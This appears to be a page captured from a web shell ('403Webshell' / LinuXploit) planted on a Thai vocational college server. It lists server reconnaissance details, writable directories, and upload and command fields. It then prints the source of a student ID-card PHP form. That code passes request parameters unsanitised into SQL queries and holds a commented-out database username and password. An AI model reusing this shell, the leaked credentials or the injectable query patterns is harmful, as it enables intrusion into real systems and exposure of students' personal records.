403Webshell
Server IP : 202.29.229.35  /  Your IP : 18.119.120.88
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/stdcard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/stdcard/card_process_by1_form.php
<?php error_reporting(0); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>

<?php 
//รูปแบบ วัดเดือน ปี เกิด
$today=getdate();
$curday=date("j");
$curmonth=date("n");
$curyear=$today["year"];
$thai_n=array("มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","มิถุนายน","กรกฏาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม");

$thai_e=array("January","February","March","April","May","June","July","August","September","October","November","December");

$c_month = $thai_n[$curmonth - 1];
$curdate=date("$curyear-$curmonth-$curday");
$cyear=$curyear+543;
$cdate=date("$curday/$curmonth/$cyear");
$datenull=date("0000-00-00");
$thai_day_arr=array("อาทิตย์","จันทร์","อังคาร","พุธ","พฤหัสบดี","ศุกร์","เสาร์");   
$eng_date = strtotime("$curyear-$curmonth-$curday");    
$startyear = 2000;
$endyear =  $curyear+5;
//   ตัวอย่าง การเรียกใช้     $thai_day =  $thai_day_arr[date("w",$eng_dat
		include("connect/connect.php");
		$isschool=$_GET['isschool'];//รหัสสถาศึกษาในสังกัด
		$sqlsc="select * from tbl_school where subscID='$isschool' ";
		$resultsc=mysql_query($sqlsc);
		$rssc=mysql_fetch_array($resultsc);
		$scname = $rssc['scName'];

	$se = $_REQUEST['se'];
	//echo $se;
	$student_id = $_REQUEST['student_id'];
	//echo "<br>".$student_id;
	if($se==""){
?>
<h1>&nbsp;</h1>
<form action="" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="100%" border="0" cellspacing="5" cellpadding="2">
    <tr>
      <td colspan="2" align="center" valign="top"><h1><?php echo $scname;?></h1>
      <h1>ออกบัตรบัตรประจำตัวนักเรียนนักศึกษาแจ้งทำใหม่</h1></td>
    </tr>
    <tr>
      <td width="200" align="right" valign="top">ประมวลผลด้วยรหัสประจำตัวนักศึกษา :</td>
      <td width="300" align="left" valign="top"><label for="student_id"></label>
      <input name="se" id="se" type="hidden" value="1" />
      <input name="student_id" type="text" id="student_id" size="25" />
      <input type="submit" name="button" id="button" value="Submit" /></td>
    </tr>
    <tr>
      <td colspan="2" align="center" valign="top"><a href="index2.php">กลับหน้าหลัก</a></td>
    </tr>
  </table>
</form>

<?php }elseif($se==1){
	/*	$host="localhost";
	$user="root";
	$pass="LBtech!2012";
	$dbname="lbtech_db";
	*/

	//include("connect/connect.php");
	$sql_year = "select * from tblstd_idcard  where  student_id = '$student_id'";
	//echo "=>".$sql_year;
	$result2 = mysql_query($sql_year)or die (mysql_error());
	while($rs_year = mysql_fetch_assoc($result2)){
		$years = $rs_year['years'];	
		//echo "<br>year=>".$years;
	}
	
	$sql_max = "select max(card_no), card_no_year from tblstd_idcard  where card_no_year = '$years' and idschool='$isschool' ";
	//echo "<br>++>".$sql_max;
	$result1 = mysql_query($sql_max);	
	$rs_max = mysql_fetch_array($result1);
		$card_no_max = $rs_max['0'];
		//echo "<br>card_no_max=>".$card_no_max;
		$card_no_year = $rs_max['1'];
		//echo "<br>card_no_year=>".$card_no_year;

$n=0;
$sql_std = "select * from tblstd_idcard  where  student_id = '$student_id' ";
//echo "sql==>".$sql_std;
$result1 = mysql_query($sql_std);
while($rs_std = mysql_fetch_assoc($result1)){
	$n++;
	$card_no_max+=1;
	//echo "<br>cardnomax++ =>".$card_no_max."<br>";
	$student_id = 	$rs_std['student_id'];
	$people_id = 	$rs_std['people_id'];
	$perfix_id = 	$rs_std['perfix_id'];
	$stu_fname = 	$rs_std['stu_fname'];
	$stu_lname = 	$rs_std['stu_lname'];
	$start_year = 	$rs_std['start_year'];
	$schedu_id = 	$rs_std['schedu_id'];
	$group_id = 	$rs_std['group_id'];
	$minor_name = 	$rs_std['minor_name'];
	$card_no = 	$rs_std['card_no'];
	$idschool = $rs_std['idschool'];//เลขประจำวิทยาลัย
	$schedu_id = 	$rs_std['schedu_id'];
	$card_noOld= $rs_std['card_no'];//เลขที่บั้ตรเก่า
	$school = $rs_std['school'];//ชื่อวิลัย
	
	if($perfix_id=="002")
			$stdPrefixThai="นาย";
	elseif($perfix_id=="003")
			$stdPrefixThai="นางสาว";
	elseif($perfix_id=="009")
			$stdPrefixThai="จ.ส.ท.";
	else
			$stdPrefixThai="";
			
	if(strlen($card_noOld)==1)
		$card_no_showold = "00000".$card_noOld;
	else if(strlen($card_noOld)==2)
		$card_no_showold = "0000".$card_noOld;
	else if(strlen($card_noOld)==3)
		$card_no_showold = "000".$card_noOld;
		else if(strlen($card_noOld)==4)
		$card_no_showold = "00".$card_noOld;
		else if(strlen($card_noOld)==5)
		$card_no_showold = "0".$card_noOld;
	else
		$card_no_showold = $card_noOld;	
		
	
		if(substr($schedu_id,0,1)=="2"){
		$level_show = "ปวช. สาขา".$minor_name;	
	}elseif(substr($schedu_id,0,1)=="3"){
		$level_show = "ปวส. สาขา".$minor_name;
	}else{
		$level_show = "ปริญษตรี สาขาวิชา".$minor_name;
	} 
		
	if(strlen($card_no_max)==1)
		$card_no_show = "00000".$card_no_max;
	else if(strlen($card_no_max)==2)
		$card_no_show = "0000".$card_no_max;
	else if(strlen($card_no_max)==3)
		$card_no_show = "000".$card_no_max;
		else if(strlen($card_no_max)==4)
		$card_no_show = "00".$card_no_max;
		else if(strlen($card_no_max)==5)
		$card_no_show = "0".$card_no_max;
	else
		$card_no_show = $card_no_max;	
	
	/*	
		$sqlcksc= "select * from tblstd_idcard where ";
		$recksc = mysql_query($sqlcksc);
		while($rscksc = mysql_fetch_assoc($recksc)){
			$tblidschool=$rscksc['idschool'];
		}
			if($isschool == $tblidschool){//check วิลัยฯ
				echo "ไม่มีข้อมูลนักศึกษา";
			}else{
	*/
	?>
	<form action="card_process_by1_ok.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="100%" border="0" cellspacing="5" cellpadding="2">
    <tr>
      <td colspan="2" align="center" valign="top"><h1><?php echo $scname;?></h1>
      <h1>ออกบัตรบัตรประจำตัวนักเรียนนักศึกษาแจ้งทำใหม่</h1></td>
    </tr>
    <tr>
      <td align="right" valign="top">&nbsp;</td>
      <td align="left" valign="top"><a href="index2.php">กลับหน้าหลัก</a></td>
    </tr>
    <tr>
      <td width="200" align="right" valign="top">ประมวลผลด้วยรหัสประจำตัวนักศึกษา :</td>
      <td width="300" align="left" valign="top"><?php echo $student_id;?></td>
    </tr>
    <tr>
      <td align="right" valign="top">ชื่อ-สกุล</td>
      <td align="left" valign="top">
      <input name="stu_fname" type="text" id="stu_fname" size="25" value="<?php echo $stu_fname;?>" />
      <input name="stu_lname" type="text" id="stu_lname" size="25" value="<?php echo $stu_lname; ?>"/></td>
    </tr>
    <tr>
      <td align="right" valign="top">เลขที่บัตรใหม่</td>
      <td align="left" valign="top"><input name="card_no" type="text" id="card_no" size="25" value="<?php echo $card_no_show ."/".$years; ?>"/></td>
    </tr>
    <tr>
      <td align="right" valign="top">เลขที่บัตรเก่า</td>
      <td align="left" valign="top"><?php echo $card_no_showold."/".$years; ?></td>
    </tr>
    <tr>
      <td align="right" valign="top">ระดับ</td>
      <td align="left" valign="top"><input name="level" type="text" id="level" size="40" value="<?php echo $level_show; ?>"/></td>
    </tr>
    <tr>
      <td align="right" valign="top">วิทยาลัย</td>
      <td align="left" valign="top"><?php echo $school;?></td>
    </tr>
    <tr>
      <td align="right" valign="top">วันที่ออกบัตร :</td>
      <td align="left" valign="top"><table border="0" cellspacing="0" cellpadding="5">
        <tr>
          <td><select id="d" size="1" name="d" style="width:50px" class="validate[required]">
            <option value="">วันที่:</option>
            <?php
					  	$dmy=explode("/",$birthday_th);
                      for($numday=1;$numday<= 31;$numday++) {
                      		if($dmy[0]==$numday)  
									$dSe1="SELECTED";
							else $dSe1="";
                           ?>
            <option  value="<?php echo $numday;?>" <?php echo $dSe1; ?>> <?php echo $numday;?></option>
            <?php	} 	  ?>
          </select></td>
          <td><select id="m" size="1" name="m" style="width:150px" class="validate[required]">
            <option value="">----------เดือน:----------</option>
            <?php
                      for($nums=0;$nums<= count($thai_n)-1;$nums++) {
						  if($dmy[1]==$nums+1)  
									$dSe2="SELECTED";
							else $dSe2="";
					?>
            <option  value="<?php echo $nums+1;?>" <?php echo $dSe2; ?>> <?php echo $thai_n[$nums];?></option>
            <?php	} 
					  ?>
          </select></td>
          <td><select id="y" name="y" style="width:70px" class="validate[required]">
            <option  value="">ปี พ.ศ.:</option>
            <?php
					$thiyear=0;
					echo $startyear ."        ". $endyear;
                    	for($num=$startyear;$num<=$endyear;$num++) {
							$thiyear = $num+543;
							 if($dmy[2]==$thiyear)  
									$dSe3="SELECTED";
							else $dSe3="";
				?>
            <option  value="<?php echo $thiyear;?>" <?php echo $dSe3; ?>> <?php echo $thiyear;?></option>
            <?php
						} 
					?>
          </select></td>
        </tr>
      </table></td>
    </tr>
    <tr>
      <td align="right" valign="top">วันที่บัตรหมดอายุ :</td>
      <td align="left" valign="top"><table border="0" cellspacing="0" cellpadding="5">
        <tr>
          <td><select id="d2" size="1" name="d2" style="width:50px" class="validate[required]">
            <option value="">วันที่:</option>
            <?php
					  	$dmy=explode("/",$birthday_th);
                      for($numday=1;$numday<= 31;$numday++) {
                      		if($dmy[0]==$numday)  
									$dSe11="SELECTED";
							else $dSe11="";
                           ?>
            <option  value="<?php echo $numday;?>" <?php echo $dSe11; ?>> <?php echo $numday;?></option>
            <?php	} 	  ?>
          </select></td>
          <td><select id="m2" size="1" name="m2" style="width:150px" class="validate[required]">
            <option value="">----------เดือน:----------</option>
            <?php
                      for($nums=0;$nums<= count($thai_n)-1;$nums++) {
						  if($dmy[1]==$nums+1)  
									$dSe21="SELECTED";
							else $dSe21="";
					?>
            <option  value="<?php echo $nums+1;?>" <?php echo $dSe21; ?>> <?php echo $thai_n[$nums];?></option>
            <?php	} 
					  ?>
          </select></td>
          <td><select id="y2" name="y2" style="width:70px" class="validate[required]">
            <option  value="">ปี พ.ศ.:</option>
            <?php
					$thiyear=0;
					echo $startyear ."        ". $endyear;
                    	for($num=$startyear;$num<=$endyear;$num++) {
							$thiyear = $num+543;
							 if($dmy[2]==$thiyear)  
									$dSe31="SELECTED";
							else $dSe31="";
				?>
            <option  value="<?php echo $thiyear;?>" <?php echo $dSe31; ?>> <?php echo $thiyear;?></option>
            <?php
						} 
					?>
          </select></td>
        </tr>
      </table></td>
    </tr>
    <tr>
      <td colspan="2" align="center" valign="top">
      <input name="idschool" type="hidden" id="idschool" value="<?php echo $isschool;?>" />
      <input name="student_id" type="hidden" id="student_id" value="<?php echo $student_id;?>" />
      <input name="card_no_max" type="hidden" value="<?php echo $card_no_show; ?>" />
      <input name="card_no_year" type="hidden" value="<?php echo $years; ?>" />
       <input type="submit" name="button" id="button" value="บันทึก" />
      <input type="reset" name="button2" id="button2" value="ยกเลิก" /></td>
    </tr>
  </table>
</form>
<?php 
			//}//end if check วิลัยฯ
	//}}
?>
<p>&nbsp;</p>
<table width="72%" border="1" align="center">
 
  <tr>
    <td width="2%" align="center" valign="top">ที่</td>
    <td width="9%" align="center" valign="top">รหัสประจำตัว</td>
    <td width="12%" align="center" valign="top">เลขที่บัตร</td>
    <td width="31%" align="center" valign="top">ชื่อ - นามสกุล</td>
    <td width="8%" align="center" valign="top">ปีการศึกษา</td>
    <td width="38%" align="center" valign="top">วิทยาลัย</td>
  </tr>
  <?php
  	$sqlstdall="select * from  tblstd_idcard where idschool='$isschool' and years='$years' order by card_no ASC";
	//echo "all->".$sqlstdall;
	$resultall=mysql_query($sqlstdall);
	$numrow=mysql_num_rows($resultall);
	?>
     <tr>
    <td colspan="6" align="center" valign="top">นักศึกษาทั้งหมด <?php echo  $numrow;?> คน</td>
  </tr>
  <?php
	$n=0;
	while($rsall=mysql_fetch_array($resultall)){
	$n++;
	 $card_noori=$rsall['card_no'];
	 $perfix_idori = 	$rsall['perfix_id'];
	 
	if(strlen($card_noori)==1)
		$card_no_showori = "000".$card_noori;
	else if(strlen($card_noori)==2)
		$card_no_showori = "00".$card_noori;
	else if(strlen($card_noori)==3)
		$card_no_showori = "0".$card_noori;
	else
		$card_no_showori = $card_noori;	
		
		
	if($perfix_idori=="002")
			$stdPrefixThaiori="นาย";
	elseif($perfix_idori=="003")
			$stdPrefixThaiori="นางสาว";
	elseif($perfix_idori=="009")
			$stdPrefixThaiori="จ.ส.ท.";
	else
			$stdPrefixThaiori="";
			
  ?>
  <tr>
    <td align="center" valign="top"><?php echo $n;?></td>
    <td align="center" valign="top"><?php echo $rsall['student_id'];?></td>
    <td align="center" valign="top"><?php echo $card_no_showori;?></td>
    <td align="left" valign="top"><?php echo $stdPrefixThaiori.$rsall['stu_fname']." &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ".$rsall['stu_lname'];?></td>
     <td align="center" valign="top"><?php echo $rsall['years'];?></td>
    <td align="center" valign="top"><?php echo $rsall['school'];?></td>
  </tr>
  <?php
	}}}
  ?>
</table>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit